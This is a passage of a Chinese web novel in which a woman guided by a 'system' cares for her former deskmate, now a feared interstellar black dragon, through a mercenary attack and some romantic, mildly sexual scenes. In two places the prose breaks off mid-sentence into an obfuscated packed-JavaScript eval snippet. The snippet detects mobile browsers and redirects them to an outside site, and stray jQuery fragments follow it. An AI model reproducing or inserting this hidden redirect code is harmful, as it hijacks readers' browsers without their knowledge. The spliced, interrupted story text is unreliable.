低磁阴冷的声音响起的刹那,乔南芯还没抬起的后脖颈猝然被冰冷的手扣住往下压,她无法维持平衡,双手撑在秦冬予身上,骤然扩大的瞳孔对上秦冬予不带任何感情的冷眸。 秦冬予看她睫毛颤了颤,一脸受惊的模样,扣住她后脖颈的手加重力道,迫使她继续俯身低头,乔南芯温热的鼻尖和他的相碰。 他喉间溢出一声冷笑:“这么怕我,为什么还要靠近?” 从刚刚乔南芯出现在附近时,他已经察觉到了,只是想看看她到底想做什么。 是准备趁他睡觉来杀他还是别的目的?却未想到,她只是拿毯子盖在他身上,再之后像狗一样在他身上闻来闻去。 她的靠近让他心中涌上一种奇异的感觉,如同暖气从细小的缝隙渗透,他这才按耐不住睁开了眼睛。 乔南芯现在的姿势很难受,再看秦冬予一副不得到答案就不放开她的架势,她只好先回答他刚刚的问题:“倒不是怕。你突然睁眼,我心里没做好准备。” 换作谁都会被吓一跳的。 秦冬予放开了她,脸色像万年不化的寒冰,又不相信地问了遍:“你真不怕我?” “不怕啊。”乔南芯摸了摸依旧冰冷的后脖颈,继续说大实话,“只是你现在身上实在是太冷了,还是不要随便和我有肢体接触。” 听了这句话的秦冬予气笑了,逆反心理作祟下,他再次扣住乔南芯的后脖颈,冷得乔南芯缩着脖子倒吸一口凉气,指责他:“说了你不要碰我,你怎么还伸过来?” “我就碰。”秦冬予和没毕业的小学生一样幼稚,非要和她对着干。 乔南芯知道再斗下去也斗不过他,干脆转移话题:“你受伤了?” 秦冬予刚刚柔和一点的眼色一沉,眼底像是水突然冻结成了冰,冷冷地盯着她,落在她后脖颈的手也加了点力:“你想死?” 乔南芯没好气地为自己辩解:“我关心你,你说我想死?” 其实她想说他现在的脑子怎么这么不好使了,她感觉和他沟通起来比以前困难许多。 总不能是因为他变成了黑龙,脑子结构和她纯种人类不一样,所以沟通起来有障碍? 秦冬予放开她,猛地扯开衣领,结实的胸膛上有道小臂粗壮的口子,血肉翻卷,还没结痂,渗出来的血沾到衣服上,这新伤看着触目惊心。 乔南芯的眉头拧着,无奈地盯着他的伤口:“这么大的伤口,是不能穿衣服的。” 秦冬予没动,仔细观察她的反应。 她究竟是在他面前演出来的,还是发自内心真的关心他? 他竟看不透。 “那你说我应该怎么办?” 乔南芯纠结了会,还是拿出唯一一管药剂递给他:“你先涂药吧。” 这支药剂可贵了,她当时买的时候纠结了好久。 现在她是活下来了,斥巨资买的好东西全用在黑龙身上。 秦冬予看出她眼中的心疼和不舍,毫不犹豫地拿过她手里的药剂,没有考虑是否有毒,一点没省地全部用在自己的伤口上。 放在以前,他不会用这种药剂,也不需要用,但看她一脸不舍纠结后却又拿出来给他,一身反骨的他就一定要用。 他已经用了,乔南芯也没什么好心疼这昂贵药剂的了,转而好奇地盯着他的伤口看。 秦冬予的伤口在使用完药剂后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407338|200589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不再流血,神奇地开始慢慢愈合。 虽然只用了一支药剂不能完全愈合,但总比什么都不做好。 乔南芯叫他脱掉衣服躺下,秦冬予想看看她还想做什么,难得地听话照做。 他褪去衣服后的身形极具压迫感,结实有力的手臂肌肉线条硬朗,宽阔的胸膛散发出一种沉稳的力量。 他的身上自带一种生人勿近的强悍气场。 以前当校霸震慑一方,现在当黑龙震慑全星际。 确认他就是她的校霸同桌后,乔南芯倒是不怕,默默看了眼他完美的身材。 在他躺下后,替他盖好被子,还轻轻拍了两下:“你现在是病人,得好好休息,我去给你做饭。” “……”秦冬予被她这一出整的不知道该说什么,默默注视她远去的背影。 这个人与其他爱算计的人不一样,或者说,她的心思比其他人更深,懂得隐蔽锋芒,先讨好、取悦他,等他放下戒备后再要了他的命。 秦冬予掩去眼底的杀意,指节攥紧,要是被他发现饭里有毒,他一定会把她压成肉饼。 乔南芯出了洞口看到刚刚给她带路的飞虫还在啃肉干,飞虫见她出来后还扑腾了下翅膀。 她蹲下身小声地问:“你们老大爱吃什么呀?” 飞虫嗡嗡两声,乔南芯听不懂,但她知道受伤了要吃肉,伤才能好得快,于是又问:“你们这哪有海……不,在水里生活的生物,带我过去吧,谢谢你。” 看在肉干的份上,飞虫很乐意地给她带路,乔南芯跟在它身后,帮它把肉干捎上。 她手里举着一根发光棒,这回学聪明了,沿途在岩壁上做下标记,省得回去找秦冬予时又迷路。 眼前的光线越来越亮,乔南芯走出黑龙洞穴时还没反应过来。 她就这么轻易地逃出来了? 系统:【宿主,现在是逃跑的最佳时机,机不可失。】 乔南芯也知道,叫飞虫带她来找海鲜,误打误撞逃出了黑龙巢穴,如果她再回去,指不定什么时候能活着离开。 “可我答应了他。” 做人不能言而无信。 系统的机械音听起来有些急切:【生命高于一切。】 乔南芯觉得这系统还挺人性化,叫她当救世主,现在又叫她逃跑。 带路的飞虫飞到崖壁边缘转了两圈,告诉乔南芯她找的海鲜在这雪岌崖下面的湖水中。 乔南芯还在犹豫徘徊,一边是她自身的生命安全,一边是她以前的好哥们同桌。 系统罗列出一行又一行她现在必须离开的理由,这些字像寒风吹打在她的脸上,叫她清醒点快点离开黑龙的巢穴。 停在远处公民居住地的飞船上紧急备用的小飞行器被系统操控已经飞到了乔南芯的脚边,她只需把双脚踏上去就能离开了。 乔南芯看了看好心带路的飞虫,耳边回荡着系统的催促,犹豫后还是选择踩上飞行器。 与此同时,巢穴深处假寐的黑龙蓦然睁开了眼,银蓝色的竖瞳闪了闪,嘴角勾出自嘲的冷笑。 5. 第 5 章 寂静昏暗的洞内空无一人,只有两条被落下的毯子,其中一条毯子上还沾到了点血迹。 乔南芯走进去没看到人,奇怪地咦了一声。 这洞里面又阴冷又没光,看着就像是经常会闹鬼的地方。 乔南芯拿出最后一根发光棒照亮四周,喊秦冬予的名字。 奇怪,这也没过去多久,怎么人就不见了? 伤者就应该好好躺着休息,乱跑什么。 乔南芯在心里吐槽,一转头对上一张鬼脸……是突然出现的秦冬予。 他脸色阴冷,一言不发掐住乔南芯的脖颈,低沉的声音像寒冬里的风啸,冷冽压迫不带任何感情和温度。 “你不是跑了么?” 乔南芯的脸色肉眼可见地涨红。 这个神经病,动不动就喜欢掐她脖子。 发光棒掉落在地上灭掉了,惨白的月光照亮他半张脸,另一边隐匿在黑暗中,明暗交错,透着冷戾的危险。 他晦暗审视的眼神顺着乔南芯的手指指的方向,松开了一点掐住她脖子的力道,来到洞穴外面。 飞虫正守在一碗还冒着热气的海鲜汤旁。 看到这碗汤,秦冬予立刻明白过来,她没有逃跑,她真的信守承诺给他做饭。 海鲜汤的热气飘到了他鼻翼下,他心中微动,冰冷的手放开了乔南芯。 得到自由的乔南芯猛地吸气,她能清晰地摸到脖子上的指印。 她已经记不清这是第几次被他掐脖子了。 简直是神经病! 她好心关心他,他不接受她的好意就算了,还总是误解她的意思。 真是越想越气,乔南芯看秦冬予还站在原地用分外警惕的眼神盯着地上放着的海鲜汤,她弯下腰一把端起海鲜汤大口大口喝下肚。 不喝就她自己喝,刚好趁热。 喂狗都不给他喝,浪费她一片好心。 她那时踩上飞行器并没有逃跑,而是飞到湖水上方用工具抓海鲜,抓了些小鱼小虾小螃蟹。 那些海鲜超级难抓,仿佛开智般灵活地躲着她,弄得她裤子和袖子都湿掉了。 乔南芯咕噜噜喝了几口,手中的碗被另一股力量抢走。 她抬起头,秦冬予抢过去后仰起脖子喝了几口,指腹抹去乔南芯嘴角残留的汤汁,眸色暗沉:“你刚刚有机会跑,为什么不跑?” 乔南芯反问:“假如我真的跑了,你会放过我吗?” 秦冬予银蓝色的竖瞳一闪而过,似刀刃寒光乍现:“你果然想跑。” “……”乔南芯无语,“你能不能先回答我的问题,还有你别乱揣测我的心思。” 秦冬予冷哼:“我凭什么回答你的问题?” 乔南芯再度无语:“那我也不用回答你的问题。” 和他待在一起,她都要得高血压。 她当时想不想跑有那么重要吗?只要最后的结果她回来了不就行了? 秦冬予似乎也懂了这个道理,不再追着她问,而是把视线定格在碗里,噗嗤一声冷笑。 他一冷笑,乔南芯就知道会有不好的事情发生。 果不其然,他眉眼一抬,带着幸灾乐祸,皮笑肉不笑:“你胆子真肥,敢动那湖里的。” “又不是我吃。”乔南芯应对自如。 她只喝了两口汤,剩下的汤和肉全都是他吃的。再说了,那鱼虾螃蟹还没思维和化形,和权势滔天的兽人半毛钱的关系都扯不上。 秦冬予微微眯起眼,磁性低沉的声音染上不易察觉的压迫和危险感:“你是故意害我?” 杀我、害我、想死,这几个词像苍蝇一样围绕在乔南芯耳边一直嗡嗡个不停,乔南芯听得耳朵都要起茧子了。 他怎么好像得了被害妄想症? 乔南芯实在是忍不住,对着他翻了个白眼:“得了吧,你那么厉害,这种小鱼小虾是不敢惹你的。” 要真来找麻烦,那肯定也是先找她这个抓鱼人。 欺软怕硬谁都懂。 被她翻白眼的秦冬予非但不恼,反而唇边荡起一抹淡淡的笑意。 好似一颗小石头投入平静的湖水,泛起一圈圈的涟漪,不注意看根本不会发现。 乔南芯却发现了,她内心冷哼。 这人被夸又在心里暗爽了。 千年前末世降临,她和秦冬予是最早组队的。 那时的秦冬予杀完丧尸被她夸夸,面上故作高冷摆着“我知道哥很帅”的冷酷姿势,乔南芯一看他上扬的嘴角就知道这家伙在心里臭屁。 只可惜,他后来…… 这时,秦冬予提起以前的事,眼里带着疑惑:“你说我们以前是好哥们?” 他还是不相信。 他不相信自己这么厉害、威名在外,怎么会和一个普通公民扯上关系,甚至还是好哥们? 乔南芯靠着墙壁:“对呀,以前你受伤我可是经常关心你,对你可好了,就像现在这样。” 说完,她一副“你可要好好珍惜我”的表情等着他开口说话。 秦冬予一直都特爱逞强,经常去找物资回来受伤却不说,那嘴就跟上了钢筋一样硬。 但每回,乔南芯总是会发现他受伤,第一时间关心他,逼着他一定要治疗。 即使那个世界药物资源匮乏,她也会想尽办法弄来给他。 秦冬予还是一脸不信,见鬼的表情,他盯着手里的海鲜汤陷入回忆。 “不用想了。”乔南芯猛拍了拍他的肩膀,一副我懂的样子,“你肯定是死了之后投胎到这个世界,还投了个好胎,肯定不记得之前的事情喽。” 乔南芯说着说着就露出羡慕的神情。 这家伙命真好,投胎成世界的主宰黑龙,想干什么就干什么,看谁不爽就一爪子拍死谁。 秦冬予把碗里的汤和肉全部吃完,一滴不剩,把碗一扔,冷嗤一声:“我什么时候死过?” “你真没素质。”虽然这是在他的巢穴里面,但乔南芯还是要说,她就是看不惯他这副拽上天的样子。 跟他说了这么多,他还是一副“我这么厉害怎么会死过”不信又冷傲的表情,简直是在浪费她的口水。 折腾了这么久,乔南芯都累得想睡觉了,她懒懒地靠着冰冷的墙壁,没个正形站着:“我能回去了吗?” “你不能走。”秦冬予慢慢靠近她,银蓝色的竖瞳逼视她,“你继续给我做饭。” 乔南芯抱有希望地问:“有工资吗?” 如果有工资,她愿意留下来。 可惜,秦冬予的话像一盆冰冷的水淋头浇下:“做梦。” 乔南芯有意见了,没钱给他天天煮饭不就是打白工吗? 更何况这个老板的脾气还特别臭,特别霸道蛮横。 秦冬予可不给她商量的余地,指了指他刚刚睡过的洞室:“你睡这。” 乔南芯回头看了眼,光线不好,没温度,没床,只有冰冷的地面和两条小毯子。 毯子还沾上了他的血迹。 荒野求生啊。 她果断拒绝:“我不要。” 秦冬予嘴角弧度上扬,冰冷的瞳孔盯着她:“你没得选,要么死,要么睡。” 乔南芯咬牙切齿:“好,我就睡这。” 系统检测到她的愤怒值,把握住时机鼓动她:【宿主,现在你是否想带领星际公民翻身?】 “那倒没有,他以前就是这个死样子。”乔南芯的气走得很快,现在她已经恢复平静。 乔南芯在秦冬予的注视下走进洞室,摊好一张毯子后安静地躺下,再拉着另一张毯子盖在身上,最后看了眼站在不远处的秦冬予,温和道:“晚安。” 她宁和地闭上眼入睡。 秦冬予依旧站着,不解地看着她宁静的面容。 刚刚她那么生气,现在却情绪稳定得已经睡觉了,这一通操作让他感到不可思议。 他就是故意欺负她,试图激怒她,想看看她最丑陋的一面。 她却睡了?她怎么可以这么平静……敢在他的地盘里毫无防备地睡觉,她是第一个。 秦冬予注视她良久,最终转身离去。 。 乔南芯是被一阵震动惊醒的,醒来眼前还是黑的,她下意识问系统:“现在是白天还是晚上?” 她一开始入睡时总是睡不安稳,身体是暖的,露在外面的脑袋被凉飕飕的风吹,就好像有鬼经过总是时不时摸她的头。 后面她的头埋进毯子里,睡得非常舒服。 秦冬予不在她身边,盖个小毯子就非常暖和了。 她心里感叹当时买毯子加钱买了会发热的,现在派上用场了。 乔南芯刚探出脑袋,又被冻到缩回温暖的毯子里:“外面怎么那么冷,秦冬予在附近?” 秦冬予就是个随时散发着寒气的冰山。 系统:【检测到附近有别的兽人。】 乔南芯立刻精神地从毯子里跳出来,嘀咕道:“有人来找他做客?” 她来不及整理毯子,小心翼翼地走出去探查,顺着昨天做的标记慢慢靠近洞口。 “我知道你那有块碎片,赶紧拿出来给我们!” 乔南芯刚探出一点头,被这凶狠刻薄的声音吓得缩回去。 她问系统:“碎片是什么?” 系统:【无资料。】 竟然一点查不到。乔南芯想想也是,应该是兽人那边高级的机密。 她藏好自己继续安静地听。 秦冬予冷漠的声音响起:“那是我的东西,凭什么给你们?” 另一道声音响起:“就凭我们养你长大,要是没有我们,你早就被联邦管控囚禁,还能像现在这样自由么?” 怎么又是另一个人?到底来了多少人? 乔南芯探出一点头看。 几个一身黑的人围住秦冬予,剑拔弩张。 我的天,好多人。 乔南芯缩回身体,不敢乱看了。 “养?”秦冬予讥笑一声,“把我当做垃圾一样丢来丢去,把我当做刀一样使,我被联邦伤的遍体鳞伤的时候,你们直接就放弃我了,现在想要我手里的碎片,怎么好意思来找我?” 这话好耳熟啊。 乔南芯想起来了,在千年前的世界有一次放学后,她亲眼看到秦冬予被两个大人辱骂,骂他是扫把星克死了家人。 那时的她才知道,原来他不是离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407339|200589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异家庭。 他的父母早年双双离世,他成了没人要的孤儿,被亲戚们来回踢皮球,借住在不同的亲戚家里。 小时候吃着馊饭活下来,经历过亲戚的家暴辱骂等等。 他不想当摇尾乞怜的狗去不同的亲戚家里,不想看到那些恶臭嘴脸的亲戚们的脸色。 所以他读高中后就自己去打工,自己攒着学费和日常开销的钱。 可那些亲戚知道后,跑过来叫他给钱,就当报答前几年的养育之恩。 事实上,那些亲戚们家里养的狗过的日子都比秦冬予好。 养育之恩,说得好听,实际可笑。 “我们过来可不是跟你讲道理的!” 乔南芯的思绪被混着狂风呼啸的嗓音拉回来。 她再次探出头去看,只见来势汹汹的几人已经显出龙的真身,亮出冰冷的利爪和遮天羽翼,将秦冬予围在中央。 这股威压足以毁天灭地,似十几道黑色的粗壮铁链捆绑,令人窒息。 秦冬予眉间浮现漫不经心的狠戾,语气自大狂妄:“一起上吧。” 乔南芯拍拍胸脯压压惊,她想给秦冬予竖个大拇指。 面对这么多庞然大物,处变不惊就算了。 他竟然还挑衅他们。 她还是躲远点比较安全。 乔南芯默默走远了些。 不知过了多久,终于没动静了,乔南芯探出头看,双方都已停手。 瞧着秦冬予跟个没事人一样,反倒是那些不速之客大口喘气,身上或多或少挂彩,严重的身上还在往外流血。 他这一挑十的战力还能毫发无伤,恐怖如斯啊。 乔南芯刚刚还在担心他会不会打不过,现在亲眼所见算是放心了,正准备回去再躺躺时,那些来者不善的人再次放出狠话:“知道你有能耐,你也别太得意,今天就是你的死期!” 已经迈出两步的乔南芯听到这话又后退倒回去,背后贴着石壁。 那些人还是不善罢甘休,难不成还有后手? 乔南芯忍不住往外看一眼,不知不觉间来了乌泱泱一大片人,这些人身上装备齐全,手上拿着各种高科技武器。 最让人震撼的是,他们的背后有十几架战机列阵,炮口泛着冷光,全都对准了秦冬予。 乔南芯大为震撼,感觉自己在看科幻片。 “系统,那些又是什么人?” 【蛇影会,一个佣兵团。他们不受星际法和联邦的约束,也不怕兽人,他们是星际的第三方势力,只要钱到位,他们什么活都接。】 乔南芯明白了,蛇影会是星际的灰色势力,专门干些杀人放火的事情。 这阵仗这么大,他们等会打起来,不会波及到她吧? 乔南芯倒是想跑,可前面被堵,后面没路,她往哪里跑? 轰隆—— 乔南芯被这巨大的声响吓得心脏差点跳出来。 他们打起来了! 刚刚那一发激光炮震碎了巢穴的洞口,乔南芯躲得快才没被倒塌的碎块压死。 雪岌崖这片区域都在剧烈震颤。 又是亮瞎眼的刺光袭来,接二连三的轰隆声,激光炮火如繁星交织成网。 乔南芯捂着耳朵挪远了些,她不能往里面跑,万一他们把整个巢穴打碎,里面塌掉她会被砸死。 她翻了翻购买的武器,最终挑选出威力巨大的热力炮。 当初她了解到秦冬予是冰龙,选的武器和装备都是克制冰的,比如火焰枪和热力炮。 乔南芯研究手里的热力炮怎么用,系统贴心地给出易懂的图片说明,并且询问她是想救黑龙还是趁乱杀死黑龙。 “当然是救秦冬予了。” 乔南芯把热力炮架好,又搬来一些石块固定,以防等会打出去后坐力太大把她震飞出去。 她观察外面的战况,和系统解释:“现在我和秦冬予在一条船上,我必须帮他。那些人来势汹汹,等他们杀了秦冬予,发现我还活着,肯定会连同我一起杀死。” 她更信任秦冬予,至少秦冬予不会杀她,所以她必须帮他。 外面战况激烈,打得热火朝天,乔南芯瞄准时机,敌人露出破绽的刹那,她启动热力炮,一道滚烫的光飞出去,正中一架战机的机翼。 少了一架攻击的战机,秦冬予就少了些压力。 本在抵挡佣兵团猛烈攻击的秦冬予回过头,眉头紧皱,冲着她吼:“快滚!” 乔南芯正要后退,佣兵团有人冲过来要杀她,却被秦冬予一爪子拍走。 她抬眼望过去,处在漩涡的秦冬予化为黑龙,隐约泛着幽蓝的光,鳞片如黑铁,黑角愈发锋利,银蓝色的兽瞳凝视众人,视线所及之处冻成冰棱。 他怒吼一声,离他最近的人猛地喷出一口血,倒地不起。 空气仿佛被他的威压凝结成霜。 资料记载,黑龙的实力可毁灭主城区。 他终于要动真格了吗? 黑龙的视线突然扫了过来,直直地盯着乔南芯。 他什么也没说,乔南芯却看懂了。 他在叫她快滚。 乔南芯不再留在这,拿起热力炮赶紧跑了。 6. 第 6 章 先跑的乔南芯不禁担心起秦冬予,她叫系统分析一下秦冬予有多少的胜算。 系统:【70%】 系统这样说,乔南芯放心了,七十多胜率再加上10%的爆发力,秦冬予这局稳赢。 趁外面闹得这么乱,乔南芯趁机熟悉里面的分路,打算绘制一份地图。 她到处走了一遍,才发现有处天然温潭通向出口。 系统说她现在可以从那离开,悄无声息脱身。 乔南芯还是不走,她想看看秦冬予有没有受严重的伤。 “你在这干什么?” 正想着某人,就听到他低沉的嗓音。 他每次走路都没声,跟鬼一样出现。乔南芯又被吓到,转过身不满地看着他:“你下次能不能先叫我?” 秦冬予一如既往冷哼,不把她的话听进去:“没有叫你的义务。” 乔南芯就知道是这样的答案,她转移话题:“你怎么样,有没有受伤?你原本的伤也是因为刚刚那些人?” 秦冬予打量她的神色,她眼中透露出的担忧关心不似作假。 “那些人还伤不了我。”秦冬予弯下腰,视线和她平视,眸色微闪,“你刚刚帮我,为什么?” 在这之前,他几次都差点杀了她,她不仅没有逃跑,甚至站在他这边。 乔南芯懒得解释,敷衍道:“哪有那么多为什么,想帮就帮喽,再说你刚刚不是也叫我先走嘛。” “我叫你先走是因为……”秦冬予话说到一半停顿,身上散发出寒气,“只有我能杀你。” 他说的这句狠话根本没唬住乔南芯。 乔南芯却突然靠近他,仔细地嗅他身上的气味,她闻到了血腥味,平静的脸上有了波澜。 “你受伤了?” 突如其来的关心让秦冬予有些无措,旁人都厌恶他、惧他、恨他。 可面前的人,面对他释放的恶意不当回事,反倒关心起他的身体。 这种感觉很奇异。 他该相信她吗? 巢穴外面,鲜红的血液覆盖雪白的冰地,残肢断骸遍布。 他厌恶那些丑陋虚伪的亲属,看到他们,他就作呕,抑制不住想要杀光他们。 可是眼前的人很平静,她情绪稳定,竟让他感到心安。 被他盯久了瘆得慌,乔南芯打算直接上手看看他有没有受伤,面前身形高大的人却蓦然张开双臂抱住她。 一股凉气袭来,乔南芯下意识蜷缩身体,却被他抱得更紧。 乔南芯真是拿他没办法,双手轻轻拍他的后背安抚。 好舒服…… 好温暖。 秦冬予不想撒手了,银蓝色的瞳孔渐渐加深。 她是唯一一个能让他平静下来,心情变好的人。 必须留在他身边陪他。 。 “乔南芯,乔南芯,乔南芯。” “来了!”乔南芯跟伺候祖宗一样跑到他面前,好声好气问,“又怎么了?” 说来奇怪,自从他主动抱了她之后就跟变了个人似的,开始直言叫她名字,臭脾气倒是收敛许多。 “我饿了,要吃饭。”秦冬予躺在榻上,那慵懒的姿势和大爷一样,一点都不客气地指挥乔南芯。 乔南芯惊讶地指了指自己:“这么晚,你叫我给你做饭?” 不是,你神经病发作吧。 秦冬予动都没动,依然躺着,翘起二郎腿:“不然你以为我留你性命养着玩?少废话,要么死,要么准备我喜欢吃的。” “等着。”乔南芯无精打采摆摆手,没脾气地离开。 她走出巢穴,天还未亮,昨天的鲜血尸体被雪覆盖,倒也闻不到血腥味。 乔南芯站在崖边探出头往下看,底下水流波涛汹涌,还泛着一阵阵冷气,吹得她清醒了大半。 ……还是算了,有什么事等她睡醒再说。 乔南芯转身准备离开,刚走两步,一个低沉厚重的声音叫住她:“站住!你个坏女人,抓我兄弟,拿命来!” 咦? 乔南芯循声望去,只见一个比她略高、双臂粗壮如钳的男人,正拿着一把比他本人还高的大刀指着她。 他长得好奇怪,头重脚轻,上半身特别壮,是下半身的好几倍。 乔南芯脑海中浮现一个形容健身男的词—螃蟹男。 她试探地问:“你是螃蟹精吗?” “螃蟹精?!大胆平民!竟敢这样叫我!” 螃蟹精这三个词跟地雷一样,听到就炸,还炸得特别响。 他破防了。 螃蟹精展示自己虬结的两个大手臂:“你一个普通公民,见到我还不赶紧巴结?” 乔南芯不喜欢和别人计较,他说巴结,那就巴结一下吧。 “哇,你这身材,真的很难让人不多看两眼,简直是安全感拉满。” 她刚说两句呢,螃蟹精神情变了,他从一脸高傲不爽变得两眼放光地看着乔南芯。 乔南芯感觉不对劲,往后退一步,拉开两人之间的距离。 “你是第一个这么夸我的!”螃蟹精一惊一乍,突然表白,“我喜欢你!” 乔南芯:“……啊?” 这么随便的吗?刚刚还说要杀了她为兄弟报仇,现在被她夸了两句后立刻倒戈? 确认过了,这就是塑料兄弟情。 “你?”突然响起另一道低沉磁性的嗓音,掺着冷意,不疾不徐却自带高位者的压迫感。 秦冬予从阴暗的巢穴中走出来的刹那间,螃蟹精抖如筛糠,甚至下意识想躲到乔南芯身后,却被秦冬予充满戾气的眼神吓得根本不敢动。 黑龙一出现,冷硬气场降临。 “你没长相没实力,有什么资格喜欢她?” 杀蟹诛心,字字都在嘲讽“就你这样的也配得上她?”,乔南芯在一旁当透明人,现在这是螃蟹精和黑龙之间的争斗,她还是不插手为好。 螃蟹精虽怕,但依旧指着乔南芯为自己辩解:“你胡说,她刚刚就夸我身材好,给足安全感。” “?”乔南芯又默默后退一步,表示自己不想参与。 秦冬予抬眼看向她,目光锋利如刀,让人浑身紧张又感钝痛,乔南芯缩了缩肩膀。 他仅看了一眼,视线又落回螃蟹精身上,霸道地宣誓主权:“她是我的。” 螃蟹精刚想说话,秦冬予又补了一句,字字不屑:“你没有自知之明?” 本打算让他们自己解决的乔南芯看到螃蟹精受伤的表情,有点于心不忍。 “其实我觉得,我们可以坐下一起好好聊聊天。” 她不说话还好,她一说话,秦冬予变得更暴戾了,强大的威压扩大,吓得螃蟹精变回原形。 它的原形比三个拳头合起来还大。 秦冬予走过去,单手抓碎,他银蓝色的竖瞳显现,看向乔南芯的眼神冷锐刺骨,透着无形的危险。 乔南芯看着他手里的碎肉,喉咙发紧,不知该说什么。 在她静默的眼神中,秦冬予连壳带肉一起吃,乔南芯能听到他嘴巴里嚼着嘎嘣脆的声音。 生吃会好吃吗? 乔南芯没时间去想这些,因为她像小鸡仔一样被秦冬予拎着后衣领往洞穴内走。 她刚刚替螃蟹精说话,秦冬予生气了? 进入洞穴深处,秦冬予把她往地上一扔,俯身看着她清透的瞳色:“别想跑,你是我的。” 乔南芯眉峰微蹙,流转的目光带了些冷意,她推了他一把:“你又发癫?” 她真是受够了,再这样下去她还不如跑路回去继续打工。 原本她看在千年前感情的份上,打算留下来陪他一段时间弥补他。 “你生气了?”秦冬予的视线一直在她身上,不曾移开分毫。 乔南芯正准备说“对,我就是生气了”,却听到秦冬予冷嗤一声:“你还生气了?” 不是,什么意思? 她还没有生气的资格? 乔南芯双手抱于胸前,嘴角下撇,平时淡淡的语气此时带着火气:“对,我生气了。” 秦冬予神情渐冷,盯着她不说话。 乔南芯把头撇向另一边,就是不看他。 两人僵持半晌后,秦冬予一言不发离开了。 乔南芯盯着他的背影,心里愈发烦闷。 她走到放着娃娃和阿贝贝的洞室,看着两个玩偶安静地睡在被窝中温馨的样子,心里的气又顺畅了。 算了,看在他不记得以前的事情,她大人有大量原谅他一回。 乔南芯按照自己制定的路线图去找秦冬予,依据对秦冬予的了解,揣测他现在应该在睡觉的地方,或者是在那个天然温潭。 睡觉的地方没人,乔南芯便去天然温潭找他。。 水面飘着淡淡白雾,依稀可见一道伟岸的身影靠在边上闭目假寐。 他黑袍松松垮垮,露出胸前大片雪白的肌肤。 墨发被水汽濡湿,几缕垂在额前,沉冷阴翳,周身浸着化不开的湿冷阴气。 乔南芯站在近处大大方方地看,没有一点害羞。 不错嘛,比以前更高,身材更劲爆。 尤其像他现在这样,在氤氲的白雾中,黑袍紧贴肌肤,肩宽腰窄,衬托出散发着荷尔蒙的男性身躯。。 “看够了么?” 泡在温潭中的秦冬予忽然睁眼,睫毛和脸上都湿漉漉的,一双眼却阴鸷冷戾,直直射向看了许久的乔南芯。 被抓包的乔南芯直白打趣:“这哪能看够?” 她说的是大实话,他身材如此火辣劲爆,待在那就是明晃晃勾引她看美色。 “过来,”秦冬予朝她招手,嘴角勾起漫不经心的笑,“我让你近点看。” 乔南芯却之不恭,走到温潭的岸边,眼神毫不掩饰盯着他看。 要看就大大方方看,她一向如此。 秦冬予笑容加深,眼底晦暗,低哑的声音每个字都在诱惑她:“再近点。” 乔南芯低着头又往前走了点,她已经离得很近,再近点就要掉进温潭,她抬起头正准备说很近了,秦冬予已经悄无声息到她面前,在她抬头的瞬间将她拽落下温潭。 扑通一声,水花溅到岸边,波及到岸上的绿植和青苔。 乔南芯落水后感受到温潭的温暖,手腕和腰上却突然一冷,她睁开眼,眼睫挂着水珠,整个人像灵动无辜的小鹿误入野兽的地盘。 秦冬予看她这副样子确实想欺负她,他又靠近了些,克制地咬住她的耳朵。 齿尖轻轻地擦过,紧接着是柔软的舌||头舔||舐耳肉,酥麻的感觉像这温潭的水淋湿乔南芯全身,顺着脊椎流淌,浑身麻意浸透。 乔南芯浑身酥软,轻颤的指尖用力地抓住他黑袍的衣襟。 很奇怪,仅仅是这样,她的欲|望仿佛被焚火点燃,迫切地想要更多。 她不好受,秦冬予同样如此。 秦冬予松开牙齿,紧紧地抱住她,感受到她的每一次心跳,她的每一次呼吸。 都说兽人对那方面需求极强,可他却不屑,所以他从不用那些机器人满足自己的兽||欲,他狂化时只想杀人,想杀了那些总来惦记他手里碎片的傻逼。 过往那些来送包裹的人全都是被安插来杀他的。 只有她不一样。 她关心他,护他,留在这陪他。 想要。 秦冬予活这么久第一次这么强烈,疯狂地吞噬他的理智。 …… 秦冬予猛地推开她,撇过头去,声音嘶哑暗沉:“滚出去。” 突然被骂的乔南芯一脸莫名其妙,拉她下水的是他,咬她耳朵是他,现在叫她滚,生气的还是他。 果然,变成黑龙的脑子结构和她不一样。 乔南芯连忙爬上岸,她还记得系统曾经说过兽人那方面很强,普通的公民的身体难以承受。 虽然她看出秦冬予现在很不对劲,但她爱莫能助。 告辞。 乔南芯溜得很快,可她的气息像雾气般弥漫在他周身,经久不散。 秦冬予靠着潭边,半身浸在水中,臂肘随意搭在潭沿,慵懒散漫。 周身雾气氤氲,他仰起头,清透的水珠顺着喉结下滑没入衣襟。 秦冬予嘴唇微张,另一只手在潭下,水汽缭绕的潭面不断荡漾。 。 乔南芯刚刚看到他胸前的伤口已经快好了,离开温潭查看资料才知道兽人愈合能力很强。 不禁有点后悔当初那么快拿药剂给他疗伤。 “他怎么泡那么久?”乔南芯看着面前的素汤嘀咕,再不来,她就自己喝。 他该不会还在生气吧? 乔南芯撑着一侧脸颊,视线落在素汤上,却陷入了以前的回忆。 末世爆发后,她和秦冬予组队,在搜寻物资的过程中加入其他男性队友。 秦冬予为此很不爽,找到她后很强势地说不准男的加入。 乔南芯不懂他生气的点,若无其事地说:“人多力量大嘛。” “有我就够了。”秦冬予突然抱住她,不高兴地咬她脖颈,“听到没?” 